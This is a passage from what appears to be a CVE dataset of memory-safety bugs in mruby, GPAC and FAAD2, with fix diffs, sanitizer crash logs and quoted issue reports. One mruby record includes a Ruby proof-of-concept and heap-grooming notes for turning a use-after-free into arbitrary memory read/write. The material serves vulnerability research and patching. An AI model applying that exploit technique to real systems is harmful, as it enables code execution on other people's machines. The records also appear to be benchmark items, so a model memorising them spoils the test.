==37239==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000106e6eca0 bp 0x7ffee9eb6080 sp 0x7ffee9eb6080 T0)
==37239==The signal is caused by a READ memory access.
==37239==Hint: address points to the zero page.
#0 0x106e6ec9f in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f)
#1 0x106ea8538 in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f538)
#2 0x105e521d1 in mrb_hash_keys hash.c:768
#3 0x105ddf551 in mrb_vm_exec vm.c:1472
#4 0x105dd2c9b in mrb_vm_run vm.c:950
#5 0x105dc94cf in mrb_run vm.c:2991
#6 0x105dc6df0 in mrb_funcall_with_block vm.c:506
#7 0x105dc2fa9 in mrb_funcall_argv vm.c:516
#8 0x105dc29e6 in mrb_funcall vm.c:396
#9 0x105d4c176 in init_copy kernel.c:300
#10 0x105d4caab in mrb_obj_dup kernel.c:383
#11 0x105d5dc13 in copy_class kernel.c:265
#12 0x105d4bd99 in init_copy kernel.c:284
#13 0x105d4a43e in mrb_obj_clone kernel.c:345
#14 0x105ddf551 in mrb_vm_exec vm.c:1472
#15 0x105dd2c9b in mrb_vm_run vm.c:950
#16 0x105e0a9f3 in mrb_top_run vm.c:3005
#17 0x10600a0c7 in mrb_load_exec parse.y:5835
#18 0x10600af09 in mrb_load_file_cxt parse.y:5844
#19 0x105d371d5 in main mruby.c:279
#20 0x7fff65687014 in start (libdyld.dylib:x86_64+0x1014)
==37239==Register values:
rax = 0x0000100000000000 rbx = 0x0000000107c39880 rcx = 0x1d7d89af7d7d7ecc rdx = 0x0000000000000000
rdi = 0xebec4d7bebebf660 rsi = 0x0000000000000010 rbp = 0x00007ffee9eb6080 rsp = 0x00007ffee9eb6080
r8 = 0x0000007cbebebebe r9 = 0x00007ffee9eb6404 r10 = 0x00007ffee9eb6660 r11 = 0x00001e1ee9eb1f00
r12 = 0x0000000000000010 r13 = 0x00007ffee9eb69a0 r14 = 0x00007ffee9eb69c0 r15 = 0xebec4d7bebebf660
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f) in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long)
==37239==ABORTING
Abort trap: 6
```
This issue was reported by Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, and Tigist Abera (https://hackerone.com/pnoltof). | https://nvd.nist.gov/vuln/detail/CVE-2018-11743 | |
mruby.cve-2018-10199 | In versions of mruby up to and including 1.4.0, a use-after-free vulnerability exists in src/io.c::File#initilialize_copy(). An attacker that can cause Ruby code to be run can possibly use this to execute arbitrary code. | https://github.com/mruby/mruby/commit/b51b21fc63c9805862322551387d9036f2b63433 | CWE-416 | mruby/mruby | b51b21fc63c9805862322551387d9036f2b63433~1 | diff --git a/mrbgems/mruby-io/src/io.c b/mrbgems/mruby-io/src/io.c
index 58bcdd1ee1..6ace9e1673 100644
--- a/mrbgems/mruby-io/src/io.c
+++ b/mrbgems/mruby-io/src/io.c
@@ -561,13 +561,13 @@ mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
mrb_bool failed = TRUE;
mrb_get_args(mrb, "o", &orig);
+ fptr_orig = io_get_open_fptr(mrb, orig);
fptr_copy = (struct mrb_io *)DATA_PTR(copy);
if (fptr_copy != NULL) {
fptr_finalize(mrb, fptr_copy, FALSE);
mrb_free(mrb, fptr_copy);
}
fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
- fptr_orig = io_get_open_fptr(mrb, orig);
DATA_TYPE(copy) = &mrb_io_type;
DATA_PTR(copy) = fptr_copy;
| https://github.com/mruby/mruby/issues/4001 | ==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
#0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: | ASan (inferred) | === https://github.com/mruby/mruby/issues/4001 ===
Title: Use after free in File#initilialize_copy
---
Body:
The following was reported by https://hackerone.com/pnoltof:
-----
Root Cause:
==========
calling `File#initilialize_copy` with an invalid argument, causes the function to terminate early, leaving a dangling pointer in the recievers `DATA_PTR`.
```
mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
{
mrb_value orig;
mrb_value buf;
struct mrb_io *fptr_copy;
struct mrb_io *fptr_orig;
mrb_bool failed = TRUE;
mrb_get_args(mrb, "o", &orig);
fptr_copy = (struct mrb_io *)DATA_PTR(copy);
if (fptr_copy != NULL) {
fptr_finalize(mrb, fptr_copy, FALSE);
mrb_free(mrb, fptr_copy);
}
fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
fptr_orig = io_get_open_fptr(mrb, orig); #can raise exception
DATA_TYPE(copy) = &mrb_io_type;
DATA_PTR(copy) = fptr_copy;
[....]
}
```
Details & Impact
=======
initialize_copy first frees the `DATA_PTR(self)`, then it gets the data pointer for the first argument. This operation can raise an exception, in which case `DATA_PTR(self)` remains dangeling. By proper heap feng shui, one can allocate another value (such as string) in the same spot. Calling `a.close()` will set `DATA_PTR(a)->fd = -1`, effectively setting some memory to `0xffffffff`. This can be used to change the size of a string object. The corrupted string can then be used to read/write memory. This can be used to obtain arbitrary code execution.
```ruby
a = File.new(0)
#needs proper heap massaging for reallocation
a.initialize_copy(0) # DATA_PTR(a) is now pointing to free'd memory
#allocate string at old position
str = "foo".gsub("o","asdfasdf")
a.close() #overwrites offset 0 on DATA_PTR(a) with ffffffff
#str length is now 0xfffffffff, we can read/write arbitrary memory
```
Bugfix
======
Move `fptr_orig = io_get_open_fptr(mrb, orig);` to the top of the function (next to `mrb_get_args(mrb, "o", &orig);`).
Steps to Reproduce
==================
obtain current mruby version
```
git clone https://github.com/mruby/mruby.git
git checkout fabc460880fbabd18369a
CC=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" LD=clang make
```
run testcase
```
$ ASAN_OPTIONS=halt_on_error=false:allow_addr2line=true:allocator_may_return_null=1 ./bin/mruby ../uaf_file.rb
trace (most recent call last):
[0] ../uaf_file.rb:3
../uaf_file.rb:3: wrong argument type Fixnum (expected Data) (TypeError)
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
#0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
[...] #various reads
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed77f bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
WRITE of size 4 at 0x602000019890 thread T0
#0 0x6ed77e in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664
#1 0x6e7a14 in mrb_io_free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:260
#2 0x5e4f4f in obj_free /home/me/grammarfuzz/mruby/src/gc.c:841
#3 0x5e43e1 in free_heap /home/me/grammarfuzz/mruby/src/gc.c:391
#4 0x5e4ffc in mrb_gc_destroy /home/me/grammarfuzz/mruby/src/gc.c:400
#5 0x537203 in mrb_close /home/me/grammarfuzz/mruby/src/state.c:263
#6 0x4eda6a in cleanup /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:165
#7 0x4ec79d in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:251
#8 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x419a18 in _start (/home/me/grammarfuzz/mruby/bin/mruby+0x419a18)
0x602000019890 is located 0 bytes inside of 16-byte region [0x602000019890,0x6020000198a0)
freed by thread T0 here:
#0 0x4b99c0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o
#1 0x53501b in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:51
#2 0x5e3ce7 in mrb_free /home/me/grammarfuzz/mruby/src/gc.c:274
#3 0x6ec52f in mrb_io_initialize_copy /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:567
#4 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#5 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#6 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#7 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#8 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#9 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#10 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
previously allocated by thread T0 here:
#0 0x4b9ec8 in realloc (/home/me/grammarfuzz/mruby/bin/mruby+0x4b9ec8)
#1 0x535035 in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:55
#2 0x5e2b16 in mrb_realloc_simple /home/me/grammarfuzz/mruby/src/gc.c:206
#3 0x5e31f4 in mrb_realloc /home/me/grammarfuzz/mruby/src/gc.c:220
#4 0x5e3b83 in mrb_malloc /home/me/grammarfuzz/mruby/src/gc.c:242
#5 0x6ebf6e in mrb_io_alloc /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:270
#6 0x6eeb57 in mrb_io_initialize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:629
#7 0x510a2d in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1675
#8 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#9 0x4f661f in mrb_run /home/me/grammarfuzz/mruby/src/vm.c:2988
#10 0x4f43d9 in mrb_funcall_with_block /home/me/grammarfuzz/mruby/src/vm.c:505
#11 0x6949ad in mrb_instance_new /home/me/grammarfuzz/mruby/src/class.c:1595
#12 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#13 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#14 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#15 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#16 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#17 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#18 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019894 at pc 0x0000006ed7ea bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019894 thread T0
[....]
```
Authors:
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera | https://nvd.nist.gov/vuln/detail/CVE-2018-10199 | |
gpac.cve-2023-4679 | A use after free vulnerability exists in GPAC version 2.3-DEV-revrelease, specifically in the gf_filterpacket_del function in filter_core/filter.c at line 38. This vulnerability can lead to a double-free condition, which may cause the application to crash. | https://huntr.com/bounties/6f721ee7-8785-4c26-801e-f40fed3faaac | https://github.com/gpac/gpac/commit/b68b3f0bf5c366e003221d78fd663a1d5514a876 | CWE-416 | gpac/gpac | b68b3f0bf5c366e003221d78fd663a1d5514a876~1 | diff --git a/src/filters/isoffin_read_ch.c b/src/filters/isoffin_read_ch.c
index 257f5c603a..bd96400689 100644
--- a/src/filters/isoffin_read_ch.c
+++ b/src/filters/isoffin_read_ch.c
@@ -495,6 +495,7 @@ void isor_reader_get_sample(ISOMChannel *ch)
if (ch->pck) {
gf_filter_pck_discard(ch->pck);
ch->pck = NULL;
+ ch->static_sample->alloc_size = ch->static_sample->dataLength = 0;
}
isor_reader_get_sample(ch);
return;
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2023-4679 | |||
faad2.cve-2018-20362 | A NULL pointer dereference was discovered in ifilter_bank of libfaad/filtbank.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash because adding to windowed output is mishandled in the EIGHT_SHORT_SEQUENCE case. | https://github.com/knik0/faad2/issues/26 | CWE-476 | knik0/faad2 | https://github.com/knik0/faad2/issues/26, https://seclists.org/bugtraq/2019/Sep/28 | ASAN:SIGSEGV faad_res/008-null-point-filtbank_275.
=================================================================
==7076==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f5946ec66b1 bp 0x7fff7f757780 sp 0x7fff7f755690 T0)
#0 0x7f5946ec66b0 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:275
#1 0x7f5946f0119d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7f5946f07823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f5946f05cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f5946f06398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f5946ec09c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f5946ec0566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f5946af882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:275 ifilter_bank
==7076==ABORTING | === https://github.com/knik0/faad2/issues/26 ===
Title: Null pointer dereference vulnerability in ifilter_bank (libfaad/filtbank.c:275)
---
Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN):
```
./faad faad_res/008-null-point-filtbank_275 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/008-null-point-filtbank_275 file info:
ADTS, 0.043 sec, 74 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGV faad_res/008-null-point-filtbank_275.
=================================================================
==7076==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f5946ec66b1 bp 0x7fff7f757780 sp 0x7fff7f755690 T0)
#0 0x7f5946ec66b0 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:275
#1 0x7f5946f0119d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7f5946f07823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f5946f05cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f5946f06398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f5946ec09c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f5946ec0566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f5946af882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:275 ifilter_bank
==7076==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/008-null-point-filtbank_275
---
Comment #1 by hlef:
I had a look at this issue. This crash appears to happen with all files defining SCE (single channel) frames followed (directly or not) by CPE (stereo) frames.
Rationale: The decoder struct contains a mem_alloced array used to keep track of allocated resources. This array is used to avoid allocating and freeing memory for each single frame. Instead, buffers are allocated when they are first needed for a frame, and the mem_alloced flag corresponding to these buffers is set. Following frames just check for the mem_alloced flag, allowing them to skip the allocation part and use the buffers directly.
Problem: some buffers like hDecoder->fb_intermed are initalized differently depending on whether the frame is mono or stereo.
The result is that reconstruct_channel_pair checks whether the buffer as been initialized, which returns true because reconstruct_single_channel initialized it before, but in fact it is only 'half' initialized because only buffers for the first channel have been allocated, they are still 0x0 for the second channel.
This is a design issue.
Possible fix:
- we should keep the changes small for now, this is a security patch, so I guess this excludes refactoring around this mem_alloced array.
- we could unalloc the buffers and unset the mem_alloced flag when switching between frames but this might have a terrible perf cost.
- we could store more information in mem_alloced (not only 0/1 but the number of channels for example?) but this is not very elegant and might require too many changes.
- we could add a small check to functions like reconstruct_channel_pair to make sure that both channels are well allocated, even if the bit is set. This is not very elegant because it comes down to kind of stop trusting mem_alloced, but this is probably the best complexity / perf tradeoff
I'll PR the last suggestion for now.
FTR: this issue was assigned CVE-2018-20362. | https://nvd.nist.gov/vuln/detail/CVE-2018-20362 | ||||
gpac.cve-2023-4682 | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3-DEV. | https://huntr.dev/bounties/15232a74-e3b8-43f0-ae8a-4e89d56c474c | https://github.com/gpac/gpac/commit/b1042c3eefca87c4bc32afb404ed6518d693e5be, https://huntr.dev/bounties/15232a74-e3b8-43f0-ae8a-4e89d56c474c | CWE-122 | gpac/gpac | b1042c3eefca87c4bc32afb404ed6518d693e5be~1 | diff --git a/src/media_tools/avilib.c b/src/media_tools/avilib.c
index 459ff80438..27cd81133d 100644
--- a/src/media_tools/avilib.c
+++ b/src/media_tools/avilib.c
@@ -2941,6 +2941,7 @@ int AVI_read_frame(avi_t *AVI, u8 *vidbuf, int *keyframe)
}
gf_fseek(AVI->fdes, AVI->video_index[AVI->video_pos].pos, SEEK_SET);
+ AVI->video_pos++;
if (avi_read(AVI->fdes,vidbuf,n) != (u32) n)
{
@@ -2948,8 +2949,6 @@ int AVI_read_frame(avi_t *AVI, u8 *vidbuf, int *keyframe)
return -1;
}
- AVI->video_pos++;
-
return n;
}
@@ -3067,6 +3066,7 @@ int AVI_read_audio(avi_t *AVI, u8 *audbuf, int bytes, int *continuous)
todo = left;
pos = AVI->track[AVI->aptr].audio_index[AVI->track[AVI->aptr].audio_posc].pos + AVI->track[AVI->aptr].audio_posb;
gf_fseek(AVI->fdes, pos, SEEK_SET);
+ AVI->track[AVI->aptr].audio_posb += todo;
if ( (ret = avi_read(AVI->fdes,audbuf+nr,todo)) != todo)
{
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[avilib] XXX pos = %"LLD", ret = %"LLD", todo = %ld\n", pos, ret, todo));
@@ -3075,7 +3075,6 @@ int AVI_read_audio(avi_t *AVI, u8 *audbuf, int bytes, int *continuous)
}
bytes -= todo;
nr += todo;
- AVI->track[AVI->aptr].audio_posb += todo;
}
return nr;
| https://nvd.nist.gov/vuln/detail/CVE-2023-4682 | ||||
gpac.cve-2023-48014 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a stack overflow via the hevc_parse_vps_extension function at /media_tools/av_parsers.c. | https://github.com/gpac/gpac/issues/2613 | https://github.com/gpac/gpac/commit/66abf0887c89c29a484d9e65e70882794e9e3a1b | CWE-787 | gpac/gpac | 66abf0887c89c29a484d9e65e70882794e9e3a1b~1 | diff --git a/src/media_tools/av_parsers.c b/src/media_tools/av_parsers.c
index 8a37040cf6..6e2915d40d 100644
--- a/src/media_tools/av_parsers.c
+++ b/src/media_tools/av_parsers.c
@@ -7726,13 +7726,19 @@ static Bool hevc_parse_vps_extension(HEVC_VPS *vps, GF_BitStream *bs)
}
if (splitting_flag) {
- for (i = 0; i < num_scalability_types; i++) {
+ u32 num_bits=0;
+ for (i = 0; i < num_scalability_types-1; i++) {
dim_bit_offset[i] = 0;
+ num_bits+=dimension_id_len[i];
for (j = 0; j < i; j++)
dim_bit_offset[i] += dimension_id_len[j];
}
- dimension_id_len[num_scalability_types - 1] = 1 + (5 - dim_bit_offset[num_scalability_types - 1]);
- dim_bit_offset[num_scalability_types] = 6;
+ if (num_bits>=6) {
+ GF_LOG(GF_LOG_ERROR, GF_LOG_CODING, ("[HEVC] Too many its defined for dimension IDs (%d vs 5 max)\n", num_bits));
+ return -1;
+ }
+ dimension_id_len[num_scalability_types - 1] = 6 - num_bits; //1 + (5 - dim_bit_offset[num_scalability_types - 1]);
+ dim_bit_offset[num_scalability_types - 1] = 6;
}
}
| https://github.com/gpac/gpac/issues/2613 | ==833362==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdcf3828d0 at pc 0x7f6e8e6ab0c1 bp 0x7ffdcf382870 sp 0x7ffdcf382868
WRITE of size 1 at 0x7ffdcf3828d0 thread T0
#0 0x7f6e8e6ab0c0 in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42
#1 0x7f6e8e66492e in gf_hevc_read_vps_bs_internal /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8095:9
#2 0x7f6e8e66b0e5 in gf_hevc_parse_nalu_bs /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8756:30
#3 0x7f6e8f25c2ca in naludmx_check_dur /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:576:10
#4 0x7f6e8f264622 in naludmx_check_pid /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:1826:3
#5 0x7f6e8f252dc5 in naludmx_process /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:3370:4
#6 0x7f6e8edafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#7 0x7f6e8ed7d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#8 0x7f6e8ed7b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#9 0x7f6e8e62ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#10 0x5572d97a66dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#11 0x5572d9797b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#12 0x7f6e8d629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#13 0x7f6e8d629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#14 0x5572d96bfdd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
Address 0x7ffdcf3828d0 is located in stack of thread T0 at offset 80 in frame
#0 0x7f6e8e6a4abf in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7690
This frame has 12 object(s):
[32, 48) 'dimension_id_len' (line 7693)
[64, 80) 'dim_bit_offset' (line 7693) <== Memory access at offset 80 overflows this variable
[96, 100) 'layer_set_idx_for_ols_minus1' (line 7695)
[112, 117) 'nb_output_layers_in_output_layer_set' (line 7696)
[144, 149) 'ols_highest_output_layer_id' (line 7697)
[176, 240) 'num_direct_ref_layers' (line 7700)
[272, 336) 'num_pred_layers' (line 7700)
[368, 372) 'num_layers_in_tree_partition' (line 7700)
[384, 400) 'dependency_flag' (line 7701)
[416, 672) 'id_pred_layers' (line 7701)
[736, 800) 'layer_id_in_list_flag' (line 7706)
[832, 896) 'OutputLayerFlag' (line 7707)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
Shadow bytes around the buggy address:
